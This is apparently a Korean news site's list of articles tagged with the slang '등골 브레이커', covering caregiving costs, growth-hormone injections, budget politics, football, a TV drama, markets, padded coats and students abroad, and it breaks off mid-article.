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  • [사설]간병비에 등골 휘는 자녀들, 외국인 돌보미 도입해야
  • 노인 간병비가 무섭게 치솟고 있다. 한국은행이 그제 발표한 ‘돌봄서비스 인력난·비용부담 완화 방안’ 보고서에 따르면 자녀가 노부모를 위해 간병인을 써야 할 경우 월평균 간병비가 370만원에 이른다고 한다. 이는 자녀 가구(40~50대) 중위 소득의 60%를 넘는 수준이다. 맞벌이 시대에 병든 노부모를 위해 수개월에서 길게는 수년간 간병인을 고용하는 경우가 허다하고 육아 비용 부담도 급증해 ‘돌봄 지옥’, ‘등골 브레이커’라는 말도 나오고 있다. 지난해 월평균 간병비는 2016년 대비 50%나 올라 같은 기간 명목임금 상승률(28%)을 크게 앞질렀다. 간병비가 치솟는 이유는 빠른 고령화로 수요가 급증하는 반면 궂은일을 기피하는 ‘3D 현상’ 등으로 간병 인력의 공급은 제한돼 있기 때문이다. 한은 보고서에 따르면 돌봄서비스직(육아·가사도우미 포함) 인력은 현재도 19만명이 부족한 상태이며 2042년에는 부족 규모가 최대 155만명까지 확대될 것으로 전망된다. 이런 상황은 앞으로 간병비가 더욱 치솟을 수밖에 없음을 예고하고 있다. 이에 따라 앞으로 간병인을 고용하는 대신 직장을 그만두고 직접 간병에 나서는 자녀들이 늘어날 것으로 예상된다. 이 경우 이들의 취업기회 상실은 가계소득 감소에 그치지 않고 국민경제 차원에서도 막대한 경제적 손실을 가져올 것으로 보인다. 한은 보고서는 이에 따른 경제 손실이 2022년 19조원에서 2042년에는 46조~77조원에 이를 것으로 추정했다. 추정대로라면 부모 간병으로 인한 한 해 노동력 손실액이 20년 뒤에는 국내총생산(GDP)의 2.1~3.6%에 이른다는 것이다.치솟는 간병비 부담을 줄여야 한다. 홍콩 싱가포르 대만의 외국인 가사도우미 도입 사례를 주의깊게 살펴볼 필요가 있다. 이들 나라의 외국인 가사도우미 시간당 평균임금은 1721~2797원(2022년)으로 한국(1만 1433원)의 4분의 1~6분의 1 수준이다. 외국 인력 활용에는 최저임금 예외 적용이 선결 과제다. 윤석열 대통령은 지난해 5월 저출산 대응책의 하나로 외국인 가사도우미 도입을 검토하겠다고 밝힌 바 있다. 가사에만 국한하지 말고 간병인까지 포함해 외국인 도우미 도입 방안을 추진해주기 바란다.
2024.03.07 I 양승득 기자
국민 등골 브레이커 '간병비' 부담 확 줄인다....2027년까지 간병비 약 10.7조 원↓
  • 국민 등골 브레이커 '간병비' 부담 확 줄인다....2027년까지 간병비 약 10.7조 원↓
  • [이데일리 이연호 기자] 정부가 ‘간병 지옥’, ‘간병 파산’으로까지 불리며 국민들의 골칫거리로 떠오른 간병비 부담 문제를 해결하기 위해 ‘국민 간병비 부담 경감 방안’을 내놨다. 일단 심각한 사회적 문제로 떠오르고 있는 간병비 부담 해소 대책을 발표했다는 점에선 긍정적인 평가가 나온다. 다만 향후 재원 조달 방식에 대한 사회적 논의가 필요하다는 점 등은 해결해야 할 숙제로 거론된다.그래픽=보건복지부.보건복지부는 21일 당ㆍ정 협의를 거쳐 ‘국민 간병비 부담 경감 방안’을 발표했다. 윤석열 대통령이 지난 19일 국무회의에서 “간병 부담은 ‘간병 지옥’이라는 말이 나올 정도로 심각한 사회문제로 대두되고 있다”며 “국민의 간병 부담을 하루빨리 덜어줄 수 있도록 복지부가 관계 부처와 함께 조속한 대책을 마련해 달라”고 주문한 지 이틀 만이다. 현 정부는 간호ㆍ간병 통합서비스 확대 및 요양병원 간병 서비스 모형 마련을 국정 과제로 선정하고 그간 종합적인 간병 부담 경감 방안을 검토해 왔다.그렇게 해서 나온 이번 방안의 3개 중점 추진 분야는△간호ㆍ간병 통합서비스 확대 강화 △요양병원 간병 지원 : 시범사업 거쳐 단계적 제도화 △질 높은 간병서비스 시장 창출 및 복지 기술 활용이다.먼저 간호ㆍ간병 통합서비스를 확대ㆍ강화한다. 이와 관련 중증 수술환자, 치매, 섬망 환자 등을 전담할 수 있는 ‘중증환자 전담 병실’을 도입한다. 간호사 1인당 환자 4명, 간호조무사 1명당 환자 8명을 담당하게 된다. 간호조무사 배치를 현재보다 최대 3.3배 확대한다. 복지부는 향후 3년 간 추가로 필요한 간호사는 2430명, 간호조무사는 4805명으로 추산하고 있다. 복지부 측은 “내년부터 2026년까지 간호사는 8만51명, 간호조무사는 8만9154명이 배출될 것으로 예상된다. 신규 배출 규모 대비 필요 인력이 간호사는 3%, 간호조무사는 5.4% 정도여서 충분히 충원할 수 있다”는 입장이다.현재 4개 병동까지 간호ㆍ간병 통합서비스를 제공할 수 있던 상급종합병원은 비수도권 소재 병원(23개)부터 2026년에 전면 참여를 허용하고, 수도권 소재 병원(22개)은 2개 병동을 추가해 6개 병동까지 참여를 허용한다. 복지부는 2027년까지 이용 환자를 400만 명으로 확대하고, 국민의 간병비 부담을 10조6877억 원 경감할 수 있을 것으로 기대하고 있다.또 요양병원 간병 지원을 단계적으로 제도화한다. 내년 7월부터 오는 2025년 12월까지 1년 6개월 간 10개 요양병원을 대상으로 1차 시범 사업을 실시한다. 이후 대상자 수요와 소요 재원을 정밀하게 추계하고 재원 조달 방식에 대한 사회적 논의를 거쳐 오는 2027년 1월부터 전국 본사업을 실시한다.아울러 정부는 환자가 퇴원 후에 집에서도 재가 의료ㆍ간호ㆍ돌봄서비스를 받을 수 있도록 재택의료센터를 오는 2027년까지 전국 시군구에 1개소 이상 설치한다. 이 밖에 관리 체계를 도입해 민간 간병 서비스의 품질을 높이고, 간병·돌봄 로봇을 개발해 관련 사업도 육성할 계획이다.정부가 추진하는 요양병원 간병비 지원 시범 사업에 대해서는 재정적 측면에서 우려 섞인 목소리도 나온다. 이번 시범 사업이 요양병원 간병비에 건보를 적용하는 ‘급여화’의 직전 단계로 인식되면서, 향후 지속적인 재정을 어떻게 충당할 것인지에 대한 의구심이 제기되기 때문이다. 요양병원 간병비에 건보를 적용할 경우 연간 최대 15조 원의 재원이 소요돼 건보 재정에 부담이 될 수 밖에 없고 이로 인해 보험료 인상 압박도 커질 수 있다.이에 대해 우선 정부는 내년 7월부터 오는 2025년 12월까지 진행하는 1차 시범사업 예산은 국비로 충당하되, 2차 시범사업은 대상자 수요와 소요 재원을 정밀하게 추계하고 재원 조달 방식에 대한 사회적 논의를 이어 가기로 했다.의료계 일각에서는 정부의 이번 정책이 국민들의 간병비 부담을 덜어 주려는 정책의 방향성과는 별개로 노인들의 존엄한 노후를 고려한 정책은 아니란 지적도 나온다.김윤 서울대 의료관리학과 교수는 “간병비를 급여화하면 기존엔 간병비 때문에 요양병원에 못 가던 노인들이 요양병원에 더 가려고 할 텐데, 노인들 10명 중 8~9명은 집에서 살고 싶어 한다. 현재, 같은 장기요양등급을 받은 노인이라도 요양병원에 입원하면 월 평균 250만 원을 진료비로 쓰고 집에 있으면 100만 원 밖에 안 쓴다”며 “그렇다면 집에 있을 때 250만 원을 쓰게 해 주면 노인들이 요양병원에 가고 싶어하겠냐”고 반문했다. 이어 “이번 정책이 간병비 부담을 덜어 주겠다는 목표를 달성하는 것은 맞는데, 그것보다 더 궁극적인 목표인 노인들의 존엄한 노후에 대해서는 고려를 하지 않았다”며 “결국 이번 정책은 노인들에게 요양병원에 입원하라고 등 떠미는 정책”이라고 비판했다.
2023.12.21 I 이연호 기자
‘키 크는 주사’ 1년에 1000만원...“효과 확인 안 돼” 날벼락
  • ‘키 크는 주사’ 1년에 1000만원...“효과 확인 안 돼” 날벼락
  • [이데일리 홍수현 기자] ‘키 크는 주사’가 모두에게 유효하거나 안전한 것이 아니라는 지적이 나왔다. 의학적으로 성장호르몬이 부족한 아이가 아닌, 일반 아이를 대상으로 한 ‘키 크는 주사’의 효과와 안전성 검증 자체가 이뤄진 적 없기 때문이다. (사진=게티 이미지)25일 국회 보건복지위원회 소속 김영주 의원(더불어민주당)은 식품의약품안전처, 국민건강보험공단, 건강보험심사평가원으로부터 받은 자료를 분석한 결과 “국내 의료기관에서 처방되고 있는 성장호르몬 바이오의약품은 총 24개인데, 그동안 터너증후군 등 성장호르몬이 부족한 환자를 대상으로만 임상시험을 한 것으로 나타났다”고 말했다.식품의약품안전처(식약처)는 위 24개 바이오의약품이 일반인(소아·청소년 등)에게 효과가 있는지 확인된 바가 없다고 입장을 밝혔다. 보건복지부 산하 한국보건의료연구원에서 진행한 ‘소아·청소년 대상 키 성장 목적의 성장호르몬 치료 연구’에서도 “허가범위를 초과한 성장호르몬 사용은 과학적 근거가 부족해 권고하지 않으며, 오직 임상 연구 상황에서만 적용돼야 한다”라고 나와 있다. 단순하게 키가 작은 일반인에 대한 처방은 권고하지 않는다는 것이다.한국보건의료연구원 ‘대국민 정보안내문’ (사진=한국보건의료연구원 보고서 캡처)그러나 ‘키 크는 약’, ‘키 크는 주사’로도 불리는 성장호르몬 치료제는 대학병원, 일반병원, 성장클리닉 등에서 활발하게 사용되고 있다.2021년부터 2023년 9월까지 의료기관에 공급된 성장호르몬 의약품은 1066만개에 달하며, 이 중 건강보험 급여 대상은 3% 수준인 30만 7000개뿐이다. 나머지는 저신장증이나 관련 질병이 없는 소아·청소년에게 비급여 처방됐다는 뜻이다.우리나라는 터너증후군, 뇌하수체기능저하(소아성장호르몬결핍증, 성인성장호르몬결핍증), 단신과 관련된 선천 기형증후군(프라더윌리증후군, 누난증후군)을 앓는 환자에게만 성장호르몬을 보험급여로 처방하고 있다.의료기관에 납품된 성장호르몬 의약품의 단가는 최소 1만 2521원, 최고 135만원이었다.약값에 연간 1000만원이 들어가는 경우도 있는 것으로 알려졌는데, 그 때문에 ‘키 크는 주사’는 성장기 아동을 둔 부모들 사이에서는 ‘등골브레이커’(등골이 휠 정도로 부담이 가는 비싼 상품)로 악명을 떨치고 있다.(사진=게티 이미지)실제 LG화학의 ‘유트로핀에스’는 용량에 따라 한 달에 약 50~75만원(주 6회 투여), 화이자의 ‘지노트로핀’은 한 달에 약 80~85만원, 동아에스티 ‘그로트로핀2’은 한 달에 약 70~80만원이 드는 것으로 알려졌다.김 의원은 “성장 관련 바이오의약품은 식약처에서 효능, 효과가 확인된 바 없었지만, 마치 키성장에 도움이 되는 것으로 의료기관들에서 오남용되고 있다”며 “복지부와 식약처는 의약품의 허가 목적과 다르게 오남용되고 있는 부분에 대해 관리, 감독에 나서야 한다”고 강조했다.
2023.10.25 I 홍수현 기자
野 예결위원들 "5대 분야 100대 문제사업 대폭 삭감할 것"
  • 野 예결위원들 "5대 분야 100대 문제사업 대폭 삭감할 것"
  • [이데일리 권오석 기자] 국민의힘 예산결산특별위원회 소속 위원들이 1일 예산 국회 시작과 함께 “잘못된 예산편성을 바로잡고자 2022년도 예산안 5대분야 100대 문제사업을 가려냈다”며 “문제사업을 대폭 삭감해 국민들의 삶에 실질적으로 도움이 되는 민생예산으로 조정할 예정”이라고 약속했다.문재인 대통령이 지난달 25일 서울 여의도 국회 본회의장에서 2022년도 예산안 시정연설을 하고 있다. (사진=연합뉴스)이들은 이날 `2022년도 예산안 관련 5대 분야 100대 문제사업` 보도자료를 내고 “2022년도 예산안은 문재인정부의 마지막 예산안 편성이자, 미래세대 부담전가와 성과없는 재정중독성 나라살림을 막을 수 있는 마지막 기회”라고 이같이 말했다.앞서 정부는 올해 본예산 대비 8.3% 증가한 604조 4000억원을 내년도 예산으로 편성했다. 이로 인해 국가채무는 2017년 예산기준 국가채무 682조 4000억원이 5년만인 내년도에는 385조원(2017년대비 56.6%)증가한 1068조 3000억원에 이른다. 내년도 예산안은 최초로 국가채무 1000조원, GDP대비 국가채무비율 50%를 동시에 돌파하게 되는 최악의 예산안이라는 게 국민의힘 설명이다.이들은 2022년도 예산안 100대 문제사업으로 △민생무관 한국판 뉴딜 2.0사업 △정권 끝까지 국민등골브레이커·문재인정부 알박기 사업 △정권말 신규·증액과다 등 불요불급 사업 △유사중복·성과저조·집행부진 등 혈세낭비 사업 △정책실패 면피용 및 국회·국민기만 사업 등 5대 분야로 분류했다.먼저 디지털·그린·휴먼뉴딜로 구성된 한국판 뉴딜 2.0은 올해보다 8조 6000억원 증가한 33조 7000억원을 반영했다. 총 1212개 사업(내역사업 기준)중 디지털 뉴딜 128개, 그린뉴딜 133개, 휴먼뉴딜 43개 등 304개 사업이 신규사업인 것으로 나타나 4개당 1개꼴로 다음 정부에 부담을 떠넘기는 사업으로 드러났다는 지적이다.‘정권 끝까지 국민등골브레이커·문 정부 알박기 사업’은 전액삭감이 필요하다는 주장이다. 대표적인 사례로는 △김어준 가짜뉴스 배제하고 야당 발언 팩트체크 주력하는 방통위 인터넷환경신뢰도기반조성 사업(27억원) △극소수 국민참여로 만든 실패한 통일정책을 차기 정부에 알박기하려는 통일부 통일정책추진 사업(12억원) △임기 4개월 남겨도 사업추진 결정하겠다며 다음 정부로 8조원이상 부담 떠넘기는 방위사업청의 경항공모함 사업(72억원) 등이 있다.정권말 신규 및 증액과다 등 불요불급한 사업들의 경우 △이미 취약계층 소비자교육하면서도 신규로 아카데미, 봉사단 구성하는 공정위의 소비자권익사업(10억원) △월소득 파악한다고 추진단부터 만드는 기재부의 소득정보연계추진단(4억원) △국가신약개발, 혁신신약개발과 중복되는 과기부 인공지능활용 혁신신약 발굴사업(21억원) 등을 꼽았다.`유사중복·성과저조·집행부진 등 혈세낭비 사업`들은 내년예산안 적자국채 77조 6000억원을 감안해서라도 반드시 삭감조정이 필요하다고 목소리를 높였다. 주요 문제사업으로 △기본설계 시작도 못했는데 본사업비 135억원 반영한 소방청의 국립소방박물관사업 △남북관계 개선 못 해 집행 못 하면서 또 1,000억원 반영한 통일부의 남북협력기금 전입금 △사업지연되고 있는데 305.8% 증액한 해경청의 서부정비창신설사업 등이 있다.`정책실패 면피용, 국회ㆍ국민기만 사업`들은 삭감조정은 물론 중징계가 필요한 사업이라는 설명이다. 이와 관련된 대표적인 사업으로는 △북한인권 맹탕 보고서로 북한인권법을 계속해서 면피하는 통일부의 북한인권과·북한인권기록센터 △결산지적에도 개선 없이 예산반영한 방사청의 신속시범ㆍ획득사업(797억원) △북한에 이식도 못하면서 대북용 묘목생산하는 산림청 남북산림협력사업(76억원) 등이 있다.국민의힘 위원들은 “민생은 없고 탄소중립만 부르짖는 문 정부의 잘못된 재정운용, 방만한 선거용 선심성 표퓰리즘사업과 혈세낭비를 상임위 예비심사과정과 예결위 활동을 통해 꼼꼼히 따져 묻고 삭감을 요구할 것”이라고 강도 높게 비판했다.
2021.11.01 I 권오석 기자
윤희숙의 파격공약 “‘무소불위’ 靑 수석제 폐지하겠다”
  • 윤희숙의 파격공약 “‘무소불위’ 靑 수석제 폐지하겠다”
  • [이데일리 김성곤 기자]국민의힘 대선주자인 윤희숙 의원이 8일 청와대 조직의 대폭 축소와 시민단체에 대한 혈세 지원 중단을 주장했다. 윤 의원은 이날 보도자료를 통해 ‘공공부문 개혁’과 관련한 공약을 내놓으면서 “국민들에게 빨대를 꽂고 자기들 패거리 이익만 챙기는 권력이 최악”이라며 이같이 밝혔다. 윤 의원은 우선 “무소불위 등골브레이커 청와대를 대폭 축소하겠다”며 청와대 비서실의 기능 재편을 강조했다. 이와 관련, “청와대 비서실은 절대권력으로 나라를 다스리며 민생을 망치고 있다. 청와대 예산 규모는 지금 김대중 정부 때의 3배에 달하고 인력은 백악관보다 많다”고 지적하면서 “장관을 지휘하고 패싱하는 수석제를 폐지하고 정부조직법에 명시된 ‘비서실 1실장제’로 축소하겠다”고 공약했다. 특히 “어떤 선진국과도 달리, 인사개입, 검찰 수사, 공직 감찰 등을 대통령이 직접 하게 해 무소불위 권력의 원천이 되는 민정수석 업무를 전적으로 폐지하고 인사검증기능은 인사혁신처로 이관하겠다”고 덧붙였다. 이어 공공기관 쇄신과 관련, “기관장의 정치적 임명을 배제하고 경영의 책임을 제대로 묻겠다”며 “문재인 정부 동안 급증한 공공부문의 역할을 재검토하고 공공부문의 총인건비 인상율이 경제성장률을 넘지 못하도록 제도화하겠다”고 밝혔다. 아울러 시민단체에 대한 무분별한 지원 중단도 약속했다. 윤 의원은 서울시 태양광 사업을 예로 들면서 “기능이 모호한 시민단체까지도 공공재정에 기생하는 구조를 혁파하겠다”며 “지난 10년 시민단체, 사회적 기업, 협동조합 등 정부로부터 지원받은 사업에 대한 전수조사를 시행해 사용내역을 투명하게 밝히겠다”고 덧붙였다.
2021.08.08 I 김성곤 기자
'전북 절대 1강? 전북·울산 2강?'...K리그1 27일 본격 개막
  • '전북 절대 1강? 전북·울산 2강?'...K리그1 27일 본격 개막
  • 전북현대 김상식 감독. 사진=프로축구연맹홍명보 울산현대 신임 감독. 사진=프로축구연맹[이데일리 스타in 이석무 기자] 지난해 프로축구 K리그는 코로나19로 개막일을 늦추고 일정도 단축하는 등 힘겨운 시간을 보냈다. 여전히 코로나19가 완전히 사라진 것은 아니지만 K리그는 2021년 정상적으로 시즌 개막을 준비한다.올해 K리그1은 27일 오후 2시 전주월드컵경기장에서 지난해 챔피언 전북 현대 대 ‘명가 부활’을 선언한 FC서울의 개막전을 시작으로 대장정을 시작한다. K리그2도 같은 날 오후 1시 30분 창원축구센터에서 경남FC와 안양FC의 1라운드 맞대결로 막을 연다.K리그1 경쟁의 최대 관전포인트는 전북의 5년 연속 챔피언 등극 여부다. 전북은 최근 두 시즌 연속 ‘현대가(家) 형제 구단’인 울산 현대와의 치열한 경쟁을 뚫고 우승 트로피를 들어 올렸다. K리그1 역대 최초 4연패와 역대 최다인 8회 우승을 달성했다.이번 시즌 전북은 변화의 폭이 크다. 팀의 정신적 지주였던 ‘라이언킹’ 이동국이 은퇴하고, 지난해 K리그1 MVP를 차지한 손준호(산둥 루넝)를 비롯해 신형민(울산), 무릴로(수원FC) 등이 팀을 떠났다. 신예 공격수 조규성은 상무에 입대했다. 사령탑도 주제 모라이스 감독에서 김상식 감독으로 바뀌었다.하지만 여전히 전북은 강력한 전력을 유지하고 있다. 브라질 출신 특급 공격수 구스타보와 지난해 K리그 최소 실점을 이끈 센터백 홍정호, 골키퍼 송범근 등 주축 멤버들이 건재하다. 여기에 ‘라인 브레이커’ 김승대를 비롯해 한승규, 최영준, 정혁 등이 임대를 마치고 돌아왔다. 특히 지난 시즌 포항스틸러스에서 19골을 터뜨린 외국인 공격수 일류첸코까지 가세했다. 공격력에 관한 한 ‘절대 1강’이라는 평가를 받고 있다.전북의 독주를 저지할 라이벌은 역시 울산이다. 홍명보 전 대표팀 감독이 새로 지휘봉을 잡은 울산은 2년 연속 준우승과 역대 최다인 9회 준우승의 아쉬움을 올해만큼은 씻어낸다는 각오다.다만 울산은 지난 시즌 27경기에서 26골을 터뜨리며 득점왕을 차지한 ‘골무원’ 주니오가 팀을 떠났다. 대신 강원FC 공격수 김지현, 부산아이파크 측면 윙어 이동준에 오스트리아 대표팀 출신 공격수 힌터제어까지 영입했지만 주니오의 빈자리를 완전히 메울지는 미지수다.지난 시즌 K리그 돌아온 기성용이 부상을 털고 본격적으로 활약하게 될 FC서울도 우승 경쟁에 뛰어들 준비를 마쳤다.서울은 검증된 외국인 공격수 팔로세비치와 국가대표 공격수 나상호를 영입하며 공격력을 한층 강화했다. 지난해 만년 하위팀 광주FC를 처음으로 상위 스플릿에 진출 시킨 뒤 이번 시즌 서울 지휘봉을 잡은 박진섭 감독의 지도력에도 많은 관심이 쏠린다.차상엽 SPOTV 해설위원은 “전북이 올해도 가장 강력한 우승후보임에는 틀림없다”며 “과연 전북이 ‘절대 1강’이 될지, 울산이 ‘2강’으로 자리할지는 시즌 초반 지켜봐야 알 수 있다”고 전망했다.차상엽 해설위원은 “K리그는 아무래도 외국인 공격수의 비중이 클 수밖에 없다”며 “울산에 새로 가세한 오스트리아 국가대표 출신 공격수 힌터제어의 활약이 리그 전체 판도에 영향을 미칠 것으로 보인다”고 밝혔다.아울러 지난해 기대 이상 성과를 거두며 3위를 차지한 포항스틸러스, 지난 시즌 상위 스플릿 진출에 성공한 대구FC, 윤석영·임창우·김대원 등 굵직한 선수들을 영입한 강원FC 등도 다크호스로 주목받고 있다.K리그2는 ‘역대급 승격 전쟁’이 펼쳐질 전망이다. 지난해 K리그1에서 4위를 차지하고도 연고지 이전으로 인해 K리그2로 내려온 김천상무가 객관적인 전력에서 가장 앞선다는 평가다.여기에 역시 K리그1에서 강등된 부산아이파크와 지난해 승격 플레이오프(PO)에서 수원FC에 밀린 경남FC를 비롯해 서울 이랜드, 대전하나시티즌, 전남드래곤즈 등이 승격을 놓고 치열한 경쟁을 준비하고 있다.36라운드로 치러지는 K리그2에서 우승팀은 자동 승격되고, 2위 팀은 3~4위 팀끼리 맞붙는 승격 준PO 승자와 대결해 승강PO 진출 자격을 얻는다.
2021.02.26 I 이석무 기자
'바람과 구름과 비' 등골 브레이커 송진役 누구?…"준비된 신인, 서동복" 눈도장
  • '바람과 구름과 비' 등골 브레이커 송진役 누구?…"준비된 신인, 서동복" 눈도장
  • [이데일리 스타in 박미애 기자] “준비된 신인”TV조선 특별기획드라마 ‘바람과 구름과 비’(극본 방지영, 연출 윤상호 / 제작 빅토리콘텐츠, 하이그라운드)에서 송진 역으로 출연한 배우에 관심이 쏠리고 있다.TV조선 특별기획드라마 ‘바람과 구름과 비’송진은 지난 30일 방송된 4회에서 첫 등장한 인물로 앞으로 보여줄 활약에 기대를 높였다.극중 송진은 재력, 실력 모두 가진 것 없이 신분상승을 꿈꾸는 허황된 사내. 손에는 책을 쥐었지만 막상 도박장을 전전하는 노력 없이 과거시험에 붙길 기도하는 인물이다. 먹고 살기 위해 기방을 나가는 여동생 송화(강다은 분)와 아픈 어머니에겐 아픈 손가락일 수밖에 없는 ‘민폐 캐릭터’인 셈. 이날 방송에서는 한심한 인생을 살 것이라고 자신의 운명을 점친 천중(박시후 분)를 상대하는 인상 깊은 연기로 이목을 끌기도 했다. 극중 팔룡(조복래 분)의 표현대로 조선시대 판 ‘등골 브레이커’ 캐릭터를 흥미롭게 소화했다는 호평이 이어졌다.송진을 연기한 배우 서동복은 단편, 독립 영화에서 경험을 쌓아온 준비된 신인으로 이번 작품이 상업 작품 데뷔작이다. 오디션 당시, 연출을 맡은 윤상호 감독의 기대를 한 몸에 받았다고 알려졌다. 실제 촬영에서도 현장 스태프는 물론 함께 호흡을 맞춘 김보연, 전광렬, 김승수 등 선배 배우들에게도 좋은 반응을 얻었다는 후문.서동복은 “배테랑 감독님과 작가님, 너무 많은 선배님들과 함께 했던 시간은 하나하나 배울 점이 가득한 감사한 현장이었고 기회였다”며 “어떤 역할이 주어지든 겸손한 마음으로 제가 할 수 있는 모든 역량을 쏟고 싶다”고 소감을 말했다.‘바람과 구름과 비’는 조선의 운명을 읽을 주인공들의 권력쟁탈전과 애절한 사랑이야기를 그린다. 3.8%의 높은 시청률로 첫 발을 뗀 후 호평 속에 방송되고 있다.
2020.05.31 I 박미애 기자
암담한 증시에 간절한 구원투수…재정·통화정책 '촉각'
  • [주간증시전망]암담한 증시에 간절한 구원투수…재정·통화정책 '촉각'
  • [이데일리 이슬기 기자] 암담한 글로벌 증시를 구원할 존재가 등장할까. 신종 코로나 바이러스 감염증(코로나19)으로 인해 글로벌 증시가 연일 요동치는 가운데, 이번주 한국 증시는 글로벌 정책공조를 기다리며 낮은 지수대에서 오갈 예정이다.15일 마켓포인트에 따르면 지난주(9~13일) 코스피 지수는 직전주 대비 13.17% 내린 1771.44에 장을 마쳤다. 역사상 처음으로 코스피·코스닥 시장에서 한날 한시에 서킷브레이커와 사이드카가 발동되는 암울한 한 주였다. 걷잡을 수 없는 코로나19 확산에 국제유가도 급락하고, 미국 에너지업체 채권값 폭락에 따른 비우량회사채 시장 불안 등 여러 악재가 동시다발적으로 터지면서 생각보다 사태가 오래갈 수 있다는 공포가 시장을 지배한 탓이다. 미국 증시도 11년만에 약세장으로 접어들었다. 글로벌 증시가 폭락하면서 이번주 한국 증시 상황도 그리 녹록지는 않을 전망이다. 눈높이도 크게 낮추면서 이번주 코스피 예상밴드의 하단은 1750선까지 내려왔다. 하나금융투자는 이번주 코스피 지수 예상밴드로 1750~1830선을 제시했고, NH투자증권은 1750~190선 사이를 오갈 것이라고 전망했다.증권가에선 미국을 비롯한 주요국들이 강도 높은 통화·재정 정책 내놓기만을 기다리는 형국이다. 지난 주말 도널드 트럼프 미국 대통령이 코로나19 사태에 대해 국가비상사태를 선언하고 미 연방준비제도(Fed·연준)가 양적완화(QE)에 나서는 한편 유럽연합(EU)의 370억유로 투자기금 조성, 독일의 적극적인 재정부양책 약속 등이 더해지면서 미국 증시는 9% 이상 폭등했고 유럽 증시도 올랐다. 이번주 한국 증시 역시 글로벌 정책공조를 계속 주목할 것으로 보인다. 김병연 NH투자증권 연구원은 “시장은 이번주 연방공개시장위원회(FOMC)와 일본은행(BOJ), 미국 및 유럽 행정부의 재정 정책의 구체화를 기다리는 상황”이라며 “특히 미국 의회가 이번주 예정된 휴원 일정을 연기한 것을 보면 재정정책 실행을 위한 방안을 적극적으로 논의하기 위한 의도일 것”이라고 말했다.3월 미국 FOMC 결과는 오는 19일 발표된다. 시장의 컨센서스는 0.5%포인트(50bp)의 금리 인하를 예상하고 있다. 이 경우 금리는 0.5~0.75%까지 내려간다. 한국은행도 임시 금융통화위원회를 개최해 금리인하에 나설 가능성에 무게가 실린다. 다만 이번 사태가 글로벌 경기침체라는 최악의 상황으로 이어진다면 코스피 지수는 1600선까지 열어둬야 한다는 분석도 나온다. 오는 16일 오전에 발표되는 중국 1~2월 내수지표는 경제 침체의 골을 엿보는 가늠자가 될 전망이다.김용구 하나금융투자 연구원은 “코로나19 공포가 정책공조 방파제를 넘어 글로벌 경기침체로까지 번진다면 글로벌 위험자산 뿐 아니라 신흥국(EM) 증시의 와해적 상황변화는 불가피하다”며 “중국·한국·대만 등 신흥국 생산 밸류체인의 동반침체와 함께 신흥 산유국의 리스크가 현실화된다면 코스피 지수는 1600선까지 내려올 수 있다”고 설명했다.
2020.03.15 I 이슬기 기자
  • [스냅타임] 스냅한컷…겨울 롱패딩
  • ‘롱패딩’을 입은 학생들이 지나가고 있다.(사진=스냅타임)△전국이 영하권에 접어들면서 첫 한파주의보가 내려지자 ‘롱패딩’에 대한 관심이 뜨거운데요. 겨울 초입에 들어선 아침 출근길, 등교하는 학생 열에 아홉은 롱패딩을 입고 있을 정도죠. 패딩이 지난해에 이어 올해에도 백화점 등에서 ‘완판’ 기록을 세울 정도니 그 인기가 어느 정도인지 실감할 수 있습니다.△맹렬한 추위에 최적화했다는 점에서 활용도가 높지만 패딩 열풍 뒤에는 여러 부작용도 만만치 않습니다. 가장 큰 문제점은 제품의 가격입니다. 수백만원 대까지 호가하는 이런 패딩은 부모의 등골을 휘게 하는 ‘등골브레이커’ 중 하나로 자리 잡았죠. 학생 사이에서는 패딩 가격에 따라 등교 패딩 서열까지 매긴다고 합니다.△이는 우리나라만의 문제는 아닌가 봅니다. 급기야 최근 영국의 한 고등학교에서는 고가의 ‘등골 브레이커’ 패딩 착용을 금지해 화제를 일으켰는데요. 적지 않은 논란에도 학교 측은 빈부격차에 따른 위화감 조성을 막기 위해 크리스마스 이후로 고가 패딩을 입지 못하도록 했습니다.△고작 패딩이라고 치부할 수 있지만 인기가 치솟자 사회적 부작용으로 나타나고 있습니다. 고가 패딩이 인기를 얻자 인터넷 쇼핑몰 등에서 이른바 ‘먹튀’ 사기가 매년 발생하고 있습니다. 절반도 안되는 가격에 판다는 글을 올려놓고 배송을 차일피일 미루다 잠적해 버리기 일쑤죠. 자본주의 사회에서 얼마짜리 패딩을 입던 개인의 자유라 하지만 청소년들이 자칫 기성세대의 악습인 물질만능주의에 사로잡혀 있는 건 아닌지 다시 한번 생각해볼 문제입니다.
2018.12.05 I 배진솔 기자
  • [스냅타임] 유학생, 부럽니? '등골브레이커'의 슬픔
  • (이미지=이미지투데이) 20대 중 해외 유학을 꿈꾸지 않는 사람이 있을까. 새로운 세상을 경험할 수 있는데다 돌아와 취업할 때는 최고의 스펙 중 하나까지 쌓을 수 있다. 이 때문에 유학생들은 국내 20대의 부러움을 한몸에 받기도 한다. 그러나 유학생들도 나름의 고충이 크다. 부푼 꿈을 안고 유학을 시작했으나 고액의 학자금과 생활비로 부모님의 허리만 휘게 하는 불효자가 따로 없다. 가끔은 자신이 '0개 국어'를 구사하는 것 같아 혼란스러울 때도 많다. 또 학생 비자로는 현지 취업이 어려워 한국과 미국 사이에 일명 '샌드위치 신세'가 될 때도 있다. 교육부에 따르면 국외 고등교육기관 (대학 이상) 한국인 유학생은 작년 기준 연 23만9824여명이다. 그 중 북미로 간 한국인 유학생은 연 7만명을 넘어섰다. 부모님의 '등골 브레이커' 국내 중학교를 다니다가 미국 동부지역으로 유학을 떠난 이모(25)씨는 얼마 전 현지 유명 사립대학을 졸업했다. 이씨는 현재 유학생에게 학위 취득 후 주어지는 실무 연수 취업 프로그램인 OPT(Optional Practical Training)를 밟고 있는 중이다. 이씨는 지난 4월 취업 비자를 신청해 결과를 기다리고 있다. 하지만 이씨의 마음도 편치 않다. 연평균 5만 달러(약 5358만원)정도에 달하는 학비 때문에 이씨는 부모님의 '등골 브레이커'다. 꿈을 향해 유학을 시작했지만 학비와 생활비 전액을 지원해주시는 부모님 앞에선 죄인이 따로 없다. 학생 비자로는 교외 취업이 불법인 탓에 조교로 교내 취업에 성공했지만 시간당 10달러 (약 1만원), 주?최대 20시간으로 한정돼 있어 숙소비와 생활비를 보태기엔 턱 없이 부족하다. (이미지=이미지투데이) 영어도 한국어도 헷갈려…'0개 국어' 구사 이씨는 10년 가까이 미국에서 살다 보니 이젠 영어가 더 편하다. 한국에 계신 부모님과 통화할 땐 가끔 한국어 단어가 생각나지 않아 애를 먹는다. 이 탓에 자신이 "한국 출생이지만 어렸을 때 이민 온 '이민 1.5세' 인지 유학생인지 가끔 의문이 든다"며 "언어적으로 혼란이 오는 건 사실"이라고 털어놨다. 이씨는 오랜 